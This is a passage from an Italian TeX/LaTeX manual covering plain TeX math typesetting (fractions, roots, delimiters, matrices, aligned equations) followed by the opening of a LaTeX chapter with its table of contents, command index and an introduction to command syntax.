  $${x \over y+z}$$

- ```
  $${a \over x} + {b \over x} = {a+b \over x}$$
  ```

  $${a \over x} + {b \over x} = {a+b \over x}$$

Oltre alle frazioni vere e proprie, ci sono altre situazioni simili:

```
x \atop y
```

```
x \choose y
```

```
x \above spessore y
```

Nel primo caso, si ottiene la sovrapposizione di ***x*** sopra ***y***, senza la linea orizzontale tipica di una frazione; nel secondo si ottiene la stessa cosa, ma il tutto viene anche racchiuso tra parentesi; nell'ultimo caso, si ottiene una cosa simile alla frazione, dove si specifica lo spessore della linea di separazione. Seguono alcuni esempi:

- ```
  $${x+y \atop z}$$
  ```

  $${x+y \atop z}$$

- `$${x+y \choose z}$$`

$${x+y \choose z}$$

- `$${x+y \above 1mm z}$$`

$${x+y \above 1mm z}$$

Si osservi che anche in questo caso, le istruzioni mostrate spezzano il gruppo in cui sono inserite, pertanto è necessario racchiudere l'espressione tra parentesi graffe.

La dimensione del testo che si trova a essere spezzata con queste istruzioni viene ridotta automaticamente. Se si vuole evitare questo comportamento, si possono usare le istruzioni già descritte per il controllo esplicito della dimensione.

61.17.5 Apici e pedici

I pedici e gli apici si ottengono con i simboli '_' e '^' rispettivamente, che intervengono sul carattere oppure sul raggruppamento successivo:

x*_*pedice

x*^*apice

Si osservino gli esempi successivi, in particolare per quanto riguarda la necessità o meno di raggruppare ciò che va messo ad apice o a pedice:

- `$$10^2$$`

$$10^2$$

- `$$10^{20}$$`

$$10^{20}$$

- `$$10^{-2}$$`

$$10^{-2}$$

- `$$x^a_b$$`

$$x^a_b$$

- `$$x^{y^z}$$`

$$x^{y^z}$$

- ```
  $\sum_{x=0}^n x^3$
  ```

  $\sum_{x=0}^n x^3$

- ```
  $$\sum_{x=0}^n x^3$$
  ```

  $$\sum_{x=0}^n x^3$$

- ```
  $$\int_0^n f(x)$$
  ```

  $$\int_0^n f(x)$$

- ```
  $\lim_{n\to 0} {1 \over n} = \infty$
  ```

  $\lim_{n\to 0} {1 \over n} = \infty$

- ```
  $$\lim_{n\to 0} {1 \over n} = \infty$$
  ```

  $$\lim_{n\to 0} {1 \over n} = \infty$$

61.17.6 Radici

Le radici si possono ottenere attraverso due modi differenti, a seconda che si tratti delle radici quadrate comuni, oppure di radici di altro genere:

```
\sqrt{contenuto}
```

```
\root n \of {contenuto}
```

Come si intuisce, nel primo caso si ottiene una radice quadrata pura e semplice, mentre nel secondo si dichiara il tipo di radice e successivamente il contenuto. Seguono alcuni esempi:

- ```
  $$\sqrt{x^2+y^2}$$
  ```

  $$\sqrt{x^2+y^2}$$

- ```
  $$\root 3 \of {8}$$
  ```

  $$\sqrt[3]{8}$$

- ```
  $$\sqrt{x+y \over z}$$
  ```

  $$\sqrt{x+y \over z}$$

- ```
  $$x^{\sqrt{y}}$$
  ```

  $$x^{\sqrt{y}}$$

61.17.7 Sottolineature e sopralineature

Per ottenere delle linee orizzontali sopra o sotto un gruppo di simboli, si usano rispettivamente '**\overline**' e '**\underline**':

```
\overline{contenuto_posto_sotto_la_linea}
```

```
\underline{contenuto_posto_sopra_la_linea}
```

Seguono alcuni esempi:

- ```
  $$\overline{x+y}$$
  ```

  $$\overline{x+y}$$

- ```
  $$\underline{\overline{x+y}}$$
  ```

  $$\underline{\overline{x+y}}$$

61.17.8 Funzioni

Quando si vuole fare riferimento al nome standard di una certa funzione matematica, è necessario fare in modo che questo nome appaia con un carattere diverso dal corsivo matematico, per evitare che si possa confondere con il prodotto di una serie di variabili. Per questa ragione e anche per facilitare la lettura del sorgente TeX, esistono delle macro specifiche, con il solo scopo di scrivere il nome della funzione corrispondente usando un carattere tondo normale. La tabella 61.318 elenca brevemente queste macro. Se per qualche ragione si preferiscono dei nomi differenti, si può sempre usare la tecnica del testo nella scatola orizzontale, attraverso l'istruzione '**\hbox{*testo*}**'. Viene mostrato solo qualche esempio di utilizzo:

- ```
  $$\sin(2x)$$
  ```

  $$\sin(2x)$$

- ```
  $$\cos x$$
  ```

  $$\cos x$$

- ```
  $$\hbox{sen}(2x)$$
  ```

  $$\hbox{sen}(2x)$$

Benché si possa scrivere il nome di una funzione usando la macro '**\hbox{*testo*}**', TeX offre l'istruzione primitiva '**\mathop**', con cui è possibile definire delle macro aggiuntive da affiancare a quelle standard per la scrittura dei nomi di funzione. Si usa normalmente così:

```
\def\nome{\mathop{\rm nome}}
```

Successivamente, è sufficiente fare riferimento alla macro '***nome***' per ottenere il nome della funzione relativa in un contesto matematico. Segue l'esempio della dichiarazione e dell'uso della funzione seno, con il nome «sen», assieme al risultato che si ottiene:

```
\def\sen{\mathop{\rm sen}}
$$\sen(2x)$$
```

$$\mathop{\rm sen}(2x)$$

Tabella 61.318. Funzioni standard.

Simbolo	Codice	Annotazioni
arccos	$\arccos$	arco-coseno
arcsin	$\arcsin$	arco-seno
arctan	$\arctan$	arco-tangente
arg	$\arg$	argomento
cos	$\cos$	coseno
cosh	$\cosh$	coseno iperbolico
cot	$\cot$	cotangente
coth	$\coth$	cotangente iperbolica
csc	$\csc$	cosecante
deg	$\deg$	gradi
det	$\det$	determinante
dim	$\dim$	dimensione
exp	$\exp$	esponenziale
gcd	$\gcd$	massimo comune divisore
hom	$\hom$	
inf	$\inf$	
ker	$\ker$	
lg	$\lg$	logaritmo base 2
lim	$\lim$	limite
lim inf	$\liminf$	
lim sup	$\limsup$	
ln	$\ln$	logaritmo naturale
log	$\log$	logaritmo base 10
max	$\max$	massimo
min	$\min$	minimo
Pr	$\Pr$	probabilit
sec	$\sec$	secante
sup	$\sup$	
tan	$\tan$	tangente
tanh	$\tanh$	tangente iperbolica

61.17.9 Delimitatori

In matematica si usano tre tipi di parentesi per delimitare delle sottoespressioni; si tratta notoriamente di parentesi tonde, quadre e graffe. Le stesse parentesi sono disponibili nella modalità matematica di TeX, con la particolarità delle parentesi graffe che devono essere usate attraverso due macro speciali: '`\{`' e '`\}`'. In pratica, questa differenza dipende dall'uso speciale che TeX stesso fa di queste parentesi nella sua sintassi.

In condizioni normali, la grandezza delle parentesi usate non è diversa da quella del carattere standard dell'ambiente matematico. Per ottenere parentesi più grandi si possono usare alcune macro-istruzioni come '**`\bigl`**' e '**`\bigr`**', le quali devono essere seguite immediatamente da una parentesi o da un altro simbolo di delimitazione, allo scopo di ottenerlo più grande del normale. Si osservi l'esempio seguente:

```
$$\Biggl(\biggl\{\Bigl[\bigl(a+b\bigr)\times c\Bigr]+d\biggr\}\times e\Biggr)$$
```

$$\Biggl(\biggl\{\Bigl[\bigl(a+b\bigr)\times c\Bigr]+d\biggr\}\times e\Biggr)$$

In modo più semplice si possono usare le istruzioni '**`\left`**' e '**`\right`**', le quali adattano automaticamente le dimensioni delle parentesi o di altri delimitatori, in funzione di ciò che devono contenere. Si osservi l'esempio seguente:

```
$$\left(\left\{\left[\left(a+b\right)\times c\right]+d\right\}\over e\right)$$
```

$$\left(\left\{\left[\left(a+b\right)\times c\right]+d\right\}\over e\right)$$

Si osservi che l'altezza delle parentesi non aumenta in presenza di annidamenti successivi, ma soltanto quando la dimensione del contenuto lo richiede.

Tabella 61.323. Delimitatori in sintesi.

Simbolo	Codice
$(\;) \; [\;] \; \{ \; \}$	`$($ $)$ $[$ $]$ $\{$ $\}$`
$\bigl(\; \bigr) \; \bigl[\; \bigr] \; \bigl\{ \; \bigr\}$	`$\bigl($ $\bigr)$ $\bigl[$ $\bigr]$ $\bigl\{$ $\bigr\}$`
$\Bigl(\; \Bigr) \; \Bigl[\; \Bigr] \; \Bigl\{ \; \Bigr\}$	`$\Bigl($ $\Bigr)$ $\Bigl[$ $\Bigr]$ $\Bigl\{$ $\Bigr\}$`
$\biggl(\; \biggr) \; \biggl[\; \biggr] \; \biggl\{ \; \biggr\}$	`$\biggl($ $\biggr)$ $\biggl[$ $\biggr]$ $\biggl\{$ $\biggr\}$`
$\Biggl(\; \Biggr) \; \Biggl[\; \Biggr] \; \Biggl\{ \; \Biggr\}$	`$\Biggl($ $\Biggr)$ $\Biggl[$ $\Biggr]$ $\Biggl\{$ $\Biggr\}$`
$\left(x\right) \quad \left(x\over y\right)$	`$\left(x\right)$ $\left(x\over y\right)$`
$\lfloor \; \rfloor \; \lceil \; \rceil$	`$\lfloor$ $\rfloor$ $\lceil$ $\rceil$`
$\langle \quad \rangle$	`$\langle$ $\rangle$`
$/ \quad \backslash$	`$/$ $\backslash$`
$\vert \quad \Vert$	`$\|$ $\\|$`
$\uparrow \quad \downarrow$	`$\uparrow$ $\downarrow$`
$\Uparrow \quad \Downarrow$	`$\Uparrow$ $\Downarrow$`
$\updownarrow \quad \Updownarrow$	`$\updownarrow$ $\Updownarrow$`

La tabella 61.323 mostra un elenco sintetico dei delimitatori e dell'uso delle istruzioni che consentono di ingrandirli. Naturalmente, le istruzioni '**`\left`**' e '**`\right`**', le macro '**`\bigl`**', '**`\bigr`**', fino a '**`\Biggl`**' e '**`\Biggr`**', possono essere usate con tutti i tipi di delimitatori matematici disponibili, non solo le parentesi comuni.

61.17.10 Matrici e sistemi di equazioni

Le matrici si rappresentano in modo molto semplice attraverso le macro-istruzioni '**`\pmatrix`**' e '**`\matrix`**'. La differenza tra le due sta solo nel fatto che nel primo caso si ottiene la delimitazione del contenuto con parentesi tonde di altezza adeguata, mentre nel secondo caso queste devono essere inserite espressamente:

```
\[p]matrix{
elemento_1_1  [& elemento_1_2]... elemento_1_m  \cr
[elemento_2_1  [& elemento_2_2]... elemento_2_m  \cr]
...
elemento_n_1  [& elemento_n_2]... elemento_n_m  \cr
}
```

In pratica, il raggruppamento che segue la macro contiene una serie di elementi organizzati in tabella, separati orizzontalmente dal simbolo '**`&`**' e conclusi alla fine di ogni riga da '**`\cr`**'. L'esempio seguente mette a confronto due matrici, realizzate con '**`\pmatrix`**' e '**`\matrix`**':

```
$$\pmatrix{
a & b & c \cr
d & e+f & g \cr
h & i & j \cr
}$$

$$\left |
\matrix{
a & b & c \cr
d & e+f & g \cr
h & i & j \cr
}
\right |
$$
```

$$\begin{pmatrix} a & b & c \\ d & e+f & g \\ h & i & j \end{pmatrix}$$

$$\left| \begin{matrix} a & b & c \\ d & e+f & g \\ h & i & j \end{matrix} \right|$$

Gli elementi della matrice sono spaziati in pratica da uno spazio leggermente elastico che può essere forzato facilmente. Per esempio, volendo allineare le celle a sinistra, o a destra, basta usare nel lato opposto uno spazio un po' più elastico:

```
$$\left |
\matrix{
a & b \hfill & c \cr
d & e+f & g \cr
```

```
h & \hfill i & j \cr
}
\right |
$$
```

$$\left|\matrix{a & b & c \cr d & e+f & g \cr h & \hfill i & j \cr}\right|$$

Naturalmente, queste macro-istruzioni si possono utilizzare anche per qualcosa di diverso dalle matrici, che però è bene appaia incasellato in forma tabellare:

```
$$|x| =
\bigg \{
\matrix{
x & x \geq 0 \cr
-x & x \leq 0 \cr
}
$$
```

$$|x| = \bigg\{ \matrix{ x & x \geq 0 \cr -x & x \leq 0 \cr }$$

Per rappresentare un insieme di «casi», come nella definizione di una funzione, si può usare la macro '**\cases**':

```
\cases{ espressione & condizione \cr
    espressione & condizione \cr
    ...
    espressione & condizione \cr }
```

Come si vede dal modello sintattico, si distinguono espressioni e condizioni relative: le espressioni sono inserite in un ambiente matematico, mentre le condizioni si trovano in un ambiente di testo normale.

```
$$f(x) = \cases{
    2x & se $x > 0$ \cr
    {3x \over 2}+x^2 & se $x < 0$ \cr
}$$
```

$$f(x) = \cases{ 2x & se $x > 0$ \cr {3x \over 2}+x^2 & se $x < 0$ \cr }$$

In modo analogo, si usa la macro '**\eqalign**' per allineare delle equazioni; in tal caso però, tutti i dati si trovano nell'ambiente matematico:

```
\eqalign{ espressione & espressione \cr
    espressione & espressione \cr
    ...
    espressione & espressione \cr
```

Dato il nome (*equation align*) si intende che l'allineamento debba avere luogo, preferibilmente, in corrispondenza del segno di uguaglianza (o disuguaglianza) usato per abbinare le espressioni. Si osservi l'esempio seguente:

$$\begin{aligned} x+y &= y+x\times 1 \\ (x\times y)^1 &= y\times x \\ {x\over y} &\neq {y\over x} \end{aligned}$$

Infine, un gruppo di espressioni può essere rappresentato su più righe attraverso la macro '**\displaylines**', in modo molto simile a '**\matrix**':

```
\displaylines{ espressione_1 \cr
    espressione_2 \cr
    espressione_3 \cr
    ...
    espressione_n \cr }
```

Viene mostrato un esempio con il risultato che si ottiene:

```
$$\displaylines{ x+y = y+x \cr
    x \times y = y \times x \cr
    {x\over y} \not = {y \over x} \cr }
$$
```

$$\displaylines{ x+y = y+x \cr x\times y = y\times x \cr {x\over y} \neq {y\over x} \cr }$$

61.17.11 Dichiarazione di teoremi e corollari

È possibile definire facilmente un teorema o un corollario attraverso la macro '**\proclaim**', secondo lo schema seguente:

```
\proclaim titolo . definizione
```

In pratica, si distingue una parte iniziale del testo che segue la macro, fino al primo punto, che viene evidenziato in modo più nero rispetto al resto. Evidentemente, la macro-istruzione '**\proclaim**' viene usata in un ambiente normale (non matematico) e può contenere ambienti matematici nell'ambito della definizione. Si osservi l'esempio seguente:

```
\proclaim Teorema 1. In teoria, non c'\`e differenza tra pratica e teoria.\par
\proclaim Teorema 2. In pratica, la teoria \`e diversa dalla pratica.\par
```

Teorema 1. *In teoria, non c'è differenza tra pratica e teoria.*

Teorema 2. *In pratica, la teoria è diversa dalla pratica.*

È importante tenere presente che la dichiarazione non può essere più lunga di una riga.

61.17.12 Equazioni in evidenza

La gestione di equazioni poste nell'ambiente matematico esterno al testo normale, ovvero quello che viene posto in evidenza al centro della giustezza del testo, è particolare.

In modo simile alle matrici, è possibile allineare le equazioni, ma per questo si usa preferibilmente la macro-istruzione '**`\eqalign`**', che prevede l'uso di un solo simbolo '**`&`**' per ogni riga. Si osservi l'esempio:

```
$$\eqalign{
a+b &= c        \cr
a+c &= b+c-1    \cr
b+c &= 5        \cr
}$$
```

$$\begin{aligned} a+b &= c \\ a+c &= b+c-1 \\ b+c &= 5 \end{aligned}$$

Eventualmente, la macro-istruzione '**`\equalignno`**', consente di mostrare qualche informazione in più in prossimità del margine destro. Si ottiene ciò individuando una colonna aggiuntiva nella tabella immaginaria, come si può vedere dall'esempio:

```
Testo normale, bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.
$$\eqalignno{
a+b &= c        & (1)   \cr
a+c &= b+c-1    & (2)   \cr
b+c &= 5        \cr
}$$
```

Testo normale, bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.

$$\begin{aligned} a+b &= c && (1) \\ a+c &= b+c-1 && (2) \\ b+c &= 5 \end{aligned}$$

Nello stesso modo, la macro-istruzione '**`\lequalignno`**' mostra le annotazioni a sinistra:

```
Testo normale, bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.
$$\leqalignno{
a+b &= c        & (1)   \cr
```

```
a+c &= b+c-1     & (2)    \cr
b+c &= 5         \cr
}$$
```

Testo normale, bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.

(1) $a+b=c$

(2) $a+c=b+c-1$

$b+c=5$

Eventualmente, se c'è la necessità di annotare un'espressione che non ha bisogno di essere rappresentata in forma tabellare, si possono usare le istruzioni '**\eqno**' e '**\leqno**':

```
$$a+b = c        \eqno (1)$$
$$b+c = b+c-1    \leqno (2)$$
```

$$a+b=c \qquad (1)$$

$$(2) \qquad b+c=b+c-1$$

61.18 Riferimenti

- Documentazione interna della distribuzione TeX: '`texmf/doc/*`'
- Documentazione interna Info: *info web2c* e *info latex*
- Marco Pratesi, Marco Latini, *LATEX-PDF-Howto*, 2002
  ⟨*http://www.telug.it/marco/LaTeX-PDF-HOWTO/LaTeX-PDF-HOWTO.html* ⟩
- *General documentation about (La)TeX*
  ⟨*http://tex.loria.fr/english/general.html* ⟩
- Michael Doob, *A gentle introduction to TeX*
  ⟨*http://www.ctan.org/tex-archive/info/gentle/gentle.pdf* ⟩
- Daniel M. Zirin, *TeX made easy*, *Using TeX with plain macro package*, 1993, Zar Limited
  ⟨*http://tex.loria.fr/general/all.dvi* ⟩
- D. R. Wilkins, *Getting started with plain TeX*, 1993
  ⟨*http://tex.loria.fr/general/pllong.dvi* ⟩
- D. R. Wilkins, *Summary of commonly-used features of plain TeX*, 1993
  ⟨*http://tex.loria.fr/general/plshort.dvi* ⟩
- *TeX cookbook*, 1989, MathPro Press
  ⟨*http://tex.loria.fr/general/cookbook.dvi* ⟩
- Sorgenti della definizione del formato '**`tex`**', contenuti nella directory '`texmf/tex/plain/base/`' di una distribuzione teTeX

- Sorgenti della definizione del formato '**`latex`**', contenuti nel file '`texmf/tex/latex/base/latex.ltx`' di una distribuzione teTeX
- Claudio Beccari, *LaTeX, Guida a un sistema di editoria elettronica*, Hoepli, 1991, ISBN 88-203-1931-4

[1] È consentito anche l'uso della virgola per separare la parte intera di un numero. Tuttavia, ci sono situazioni in cui ciò non va bene, per cui è meglio usare sempre solo il punto.

[2] TeX ammette che tra il numero e l'unità di misura ci sia dello spazio. Qui si preferisce attaccare l'unità di misura al numero, per evitare confusione con il testo successivo.

[3] Si distingue tra «parametro formale» e «argomento attuale», per indicare, nel primo caso, ciò che si usa nella dichiarazione di una macro-istruzione a rappresentare i dati variabili da fornire, mentre nel secondo caso si fa riferimento ai dati che vengono passati effettivamente, in corrispondenza di un certo parametro della dichiarazione formale.

[4] Si possono creare delle alternative anche a simboli di controllo, ma in generale ciò non è conveniente.

[5] Leggendo la tabella, è il caso di osservare che in condizioni normali, la sequenza di controllo '**`\$`**' genera il simbolo del dollaro, mentre se il testo è in corsivo, si ottiene il simbolo della sterlina inglese.

[6] Si osservi che in questo caso non si può usare un raggruppamento vuoto al posto dello spazio, perché l'accento risulterebbe spostato rispetto al centro della lettera.

[7] Nella lingua italiana sono sufficienti due tipi di trattini.

[8] Questi spazi verticali aggiuntivi possono essere inseriti solo se ci si trova in modalità verticale, in pratica nello spazio tra i paragrafi e non al loro interno.

Capitolo 62

LaTeX

62.1 LaTeX: introduzione 3371

62.1.1 Comandi e modelli sintattici 3371
62.1.2 Opzioni e argomenti 3372
62.1.3 Esempio iniziale 3373
62.1.4 Sopravvivere nel caos 3375
62.1.5 Struttura essenziale di un documento LaTeX 3376
62.1.6 Composizione per approssimazione successiva 3379

62.2 Personalizzazione 3380

62.2.1 Definizione e ridefinizione di macro 3380
62.2.2 File di stile 3383

62.3 Localizzazione 3383

62.3.1 Terminologia 3383
62.3.2 Sillabazione 3383
62.3.3 Inconvenienti legati alla sillabazione 3384
62.3.4 Spaziatura orizzontale 3384
62.3.5 Codifica 3384
62.3.6 Localizzazione in pratica 3385

62.4 Variabili e tipi di dati 3386

62.4.1 Lunghezze 3386
62.4.2 Contatori 3387

62.5 Struttura del documento 3391

62.5.1 Dichiarazione dello stile generale 3391
62.5.2 Preambolo 3393
62.5.3 Inizio e fine del documento 3393
62.5.4 Suddivisione del documento 3394
62.5.5 Ambienti 3397

62.6 LaTeX: la pagina 3398

62.6.1 Dimensioni della pagina 3398
62.6.2 Flusso verticale del testo, colonne e salti pagina 3399
62.6.3 Stile della pagina 3403
62.6.4 Numerazione delle pagine 3404
62.6.5 Note a piè di pagina 3405
62.6.6 Sillabazione 3405

62.7 Caratteri 3405

62.7.1 Caratteri che hanno un significato speciale 3406
62.7.2 Corpi uniformi 3407
62.7.3 Caratteri da stampa 3408
62.7.4 Definizione dettagliata del carattere da stampa 3411
62.7.5 Linee e cornicette attorno al testo 3412
62.7.6 Spostamento verticale del testo 3413

62.8 LaTeX: blocchi di testo 3414

62.8.1 Caratteristiche normali di un paragrafo 3414
62.8.2 Allineamento del testo 3414
62.8.3 Elenchi 3416
62.8.4 Citazioni 3422
62.8.5 Versi 3423
62.8.6 Testo letterale 3424
62.8.7 Ambienti fluttuanti 3425

62.9 Spazi e scatole 3428

62.9.1 Spazi orizzontali 3428
62.9.2 Spazi verticali 3429
62.9.3 Elasticità controllabile 3431
62.9.4 Interlinea 3432
62.9.5 Scatole 3433
62.9.6 Testo da salvare e da recuperare 3437
62.9.7 Linee 3437

62.10 Riferimenti incrociati 3439

62.10.1 Indice generale, indice delle tabelle e delle figure 3440
62.10.2 Riferimenti liberi 3443
62.10.3 Indice analitico 3445
62.10.4 Bibliografie 3449

62.11 Tabelle 3451

62.11.1 Tabella fatta di tabulazioni 3451
62.11.2 Tabella fatta di colonne e righe 3456
62.11.3 Tabella a cavallo di più pagine 3462

62.12 LaTeX: figure 3464

62.12.1 Disegnare con LaTeX 3464
62.12.2 Importazione di file EPS esterni 3468
62.12.3 Estrazione di file EPS dal file PostScript finale 3469

62.13 Ambienti matematici 3470

62.13.1 Definizione della modalità matematica 3470
62.13.2 Spazi orizzontali e punteggiatura 3472
62.13.3 Caratteri e simboli 3473
62.13.4 Delimitatori 3479
62.13.5 Modifica delle caratteristiche del carattere 3480
62.13.6 Espressioni varie 3481
62.13.7 Matrici e sistemi di equazioni 3483
62.13.8 Teoremi, corollari e dichiarazioni simili 3485

62.14 File esterni 3489

62.14.1 Importazione 3489
62.14.2 Importazione letterale 3489
62.14.3 Creazione di file 3490

62.15 Riferimenti 3491

array 3483 center 3414 chapter 3387 displaymath 3470 document 3376 enumerate 3416 enumi 3416 enumii 3416 enumiii 3416 enumiv 3416 equation 3387 3470 figure 3387 3425 flushleft 3414 flushright 3414 footnote 3387 3405 itemize 3416 list 3416 longtable 3462 lrbox 3437 makeindex 3445 math 3470 page 3387 3404 paragraph 3387 part 3387 picture 3464 quotation 3422 quote 3422 section 3387 subparagraph 3387 subsection 3387 subsubsection 3387 tabbing 3451 table 3387 3425 3425 tabular 3456 thebibliography 3449 verbatim 3424 verse 3423 & 3456 ^ 3481 \(3470 \) 3470 \= 3451 \above 3481 \addcontentsline 3440 \addtocontents 3440 \addtocounter 3387 \addtolength 3386 \addvspace 3429 \alph 3387 \Alph 3387 \appendix 3376 3394 \arabic 3387 \atop 3481 \author 3376 3393 \baselineskip 3414 \begin{document} 3393 \bfseries 3408 \bibitem 3449 \big 3479 \Big 3479 \bigg 3479 \Bigg 3479 \biggl 3479 \Biggl 3479 \biggr 3479 \Biggr 3479 \bigl 3479 \Bigl 3479 \bigr 3479 \Bigr 3479 \bigskip 3429 \bigskipamount 3429 \caption 3425 \centerline 3414 \chapter 3376 3394 \choose 3481 \circle 3464 \cite 3449 \cleardoublepage 3399 3425 \clearpage 3399 3425 \cline 3456 \closeout 3490 \dashbox 3464 \date 3376 3393 \displaystyle 3480 \documentclass 3376 3391 \dotfill 3428 \doublespacing 3432 \emph 3411 \endfoot 3462 \endhead 3462 \end{document} 3393 \epsfig 3468 \evensidemargin 3398 \fbox 3412 3433 \fboxrule 3433 \fboxsep 3433 \flushbottom 3399 \fnsymbol 3387 \fontencoding 3411 \fontfamily 3411 \fontseries 3411 \fontshape 3411 \fontsize 3408 3411 \footnote 3405 \footnotemark 3405 \footnotesize 3407 \footnotetext 3405 \footskip 3398 \frac 3481 \frame 3412 3464 \framebox 3433 \frenchspacing 3384 3385 \headheight 3398 \headsep 3398 \hfill 3428 \hline 3456 3483 \hoffset 3398 \hrulefill 3428 \hspace 3428 \huge 3407 \Huge 3407 \hyphenation 3405 \immediate 3490 \include 3489 \includegraphics 3468 \includeonly 3489 \indent 3414 \index 3445 \input 3489 \item 3416 \itemsep 3416 \itshape 3408 \jobname 3490 \kill

3451 \label 3443 \labelitemi 3416 \labelitemii 3416 \labelitemiii 3416 \labelitemiv 3416 \Large 3407 \large 3407 \LARGE 3407 \leftskip 3414 \line 3464 \linebreak 3399 \linespread 3432 \linethickness 3464 \linewidth 3414 \listoffigures 3425 3440 \listoftables 3425 3440 \makebox 3433 3464 \makeindex 3445 \maketitle 3376 3393 \markboth 3403 \markright 3403 \mathbf 3408 \mathcal 3408 \mathit 3408 \mathrm 3408 \mathsf 3408 \mathtt 3408 \mbox 3405 3433 \medskip 3429 \medskipamount 3429 \minipage 3433 \newcommand 3380 \newcounter 3387 \newenvironment 3380 \newlength 3386 \newline 3399 \newpage 3399 \newtheorem 3485 \newwrite 3490 \noindent 3414 \nopagebreak 3399 \normalfont 3408 \normalsize 3407 \numberline 3440 \oddsidemargin 3398 \onecolumn 3399 \onehalfspacing 3432 \openout 3490 \oval 3464 \over 3481 \overbrace 3479 \overline 3412 3479 \pagebreak 3399 \pagenumbering 3404 \pageref 3443 \pagestyle 3403 \paperheight 3398 \paperwidth 3398 \par 3414 \paragraph 3376 3394 \parbox 3433 3451 \parindent 3414 \parskip 3414 \part 3376 3394 \poptabs 3451 \printindex 3445 \pushtabs 3451 \put 3464 \raggedbottom 3399 \raggedleft 3414 \raggedright 3414 \raisebox 3413 \ref 3443 \refstepcounter 3387 \renewcommand 3380 \renewenvironment 3380 \rightskip 3414 \rmfamily 3408 \Roman 3387 \roman 3387 \rule 3437 \samepage 3399 \scriptscriptstyle 3480 \scriptsize 3407 \scriptstyle 3480 \scshape 3408 \section 3376 3394 \selectfont 3408 3411 \setcounter 3387 \setlength 3386 \settodepth 3386 \settoheight 3386 \settowidth 3386 \sffamily 3408 \singlespacing 3432 \slshape 3408 \small 3407 \smallskip 3429 \smallskipamount 3429 \sqrt 3481 \stackrel 3481 \stepcounter 3387 \stretch 3431 \string 3490 \subparagraph 3376 3394 \subsection 3376 3394 \subsubsection 3376 \tableofcontents 3376 3393 3440 \textasciicircum 3406 \textasciitilde 3406 \textbackslash 3406 \textbf 3408 \textheight 3398 \textit 3408 \textnormal 3408 \textrm 3408 \textsc 3408 3408 \textsf 3408 \textsl 3408 \textstyle 3480 \texttt 3408 \textup 3408 \textwidth 3398 \thanks 3393 \the 3386 3387 \theenumi 3416 \theenumii 3416 \theenumiii 3416 \theenumiv 3416 \thispagestyle 3403 \tiny 3407 \title 3376 3393 \topmargin 3398 \ttfamily 3408 \twocolumn 3399 \underbrace 3479 \underline 3412 3479 \unitlength 3464 \upshape 3408 \usebox 3437 \usefont 3411 \usepackage 3376 \usepackage{float} 3425 \usepackage{latexsym} 3473 \usepackage{longtable} 3462 \usepackage{makeidx} 3445 \usepackage{setspace} 3432 \usepackage{verbatim} 3489 \usepackage[italian]{babel} 3383 3385 \usepackage[T1]{fontenc} 3384 3385 \usepackage[utf8x]{inputenc} 3384 3385 \value 3387 \vector 3464 \verb 3424 \verbatiminput 3489 \vfill 3399 3429 \voffset 3398 \vspace 3429 \write 3490 \# 3406 \& 3406 \\ 3451 3456 \{ 3406 \} 3406 \$ 3406 _ 3406 \> 3451 \[3470 \% 3406 \] 3470 $ 3470 $$ 3470 _ 3481

62.1 LaTeX: introduzione

LaTeX è un pacchetto di macro per TeX molto comune, per facilitare la realizzazione di documenti tipici. Si fa riferimento implicito a questo pacchetto di macro utilizzando un comando specifico per la composizione, come già descritto nella sezione 61.1.3. Pertanto, di solito si ottiene la composizione di un sorgente TeX scritto usando macro LaTeX attraverso il comando seguente:

```
latex file_sorgente
```

Normalmente, il file sorgente scritto con macro LaTeX ha la solita estensione '`.tex`'; inoltre si usano le stesse procedure per la rielaborazione dei file DVI generati dalla composizione.

In generale, la scrittura di un sorgente LaTeX deve seguire le regole imposte dal suo pacchetto di macro. Ciò significa che le istruzioni o le macro del linguaggio TeX originale potrebbero creare dei conflitti, se l'uso di queste non è previsto espressamente.
Quando si usano solo le macro LaTeX, lasciando da parte TeX, queste macro possono essere viste come ***comandi*** del linguaggio LaTeX, mentre le ***macro*** diventano quelle definizioni create con il linguaggio LaTeX stesso.

62.1.1 Comandi e modelli sintattici

La necessità di avere il controllo della situazione, fa sì che LaTeX definisca anche un modo proprio per la creazione di altre macro; inoltre, esiste la possibilità di avere degli argomenti opzionali, che si indicano tra parentesi quadre. In generale, è difficile definire in modo completo come possono essere conformate le chiamate ai comandi e alle macro di LaTeX, comunque il modello sintattico seguente dovrebbe darne un'idea sufficiente per cominciare.

```
\comando [opzioni]...{argomenti}...
```

È già noto il fatto che le parentesi graffe fanno parte dell'istruzione; inoltre, le parentesi quadre devono essere usate per gli argomenti opzionali, ma se queste opzioni mancano, si omettono anche le parentesi quadre stesse. Per esempio, si può scrivere:

```
\documentclass[a4paper]{book}
```

oppure soltanto:

```
\documentclass{book}
```

Infine, c'è anche da considerare che alcuni comandi prevedono l'uso opzionale di un asterisco alla fine del loro nome, come nel caso della dichiarazione del titolo di una sezione:

```
\section{Bla bla bla}
```

Oppure:

```
\section*{Bla bla bla}
```

Il significato dell'asterisco dipende dal comando.

Ricapitolando, un modello sintattico riferito a comandi o macro di LaTeX deve essere letto in modo speciale: le parentesi graffe, le parentesi quadre e l'asterisco fanno parte dell'istruzione; inoltre, se non si indicano opzioni, le parentesi quadre che le delimitano non vanno usate.

62.1.2 Opzioni e argomenti

Fino a questo punto si è visto che le opzioni sono argomenti facoltativi che, se utilizzati, vanno delimitati attraverso delle parentesi quadre. La loro posizione è stabilita dalla sintassi del comando stesso, anche se di solito dovrebbero trovarsi prima degli argomenti normali.

Un comando potrebbe prevedere l'uso di più opzioni in sequenza, o alternate con gli argomenti. Ma oltre a questo, un'opzione potrebbe essere interpretata in modo da estrapolare più sotto-opzioni, delimitate generalmente attraverso una virgola.

Sugli argomenti c'è poco da aggiungere, tranne ripetere che il loro utilizzo è obbligatorio; inoltre, anche in questo caso, ci possono essere situazioni in cui un argomento è composto da più sotto-argomenti separati da virgole.

Segue la descrizione di alcuni esempi.

- ```
  \documentclass{book}
  ```
  Definisce lo stile generale '**book**' per un documento che inizia.

- ```
  \documentclass[a4paper]{book}
  ```
  Definisce lo stile generale '**book**', specificando l'opzione '**a4paper**'.

- ```
  \documentclass[a4paper,12pt]{book}
  ```
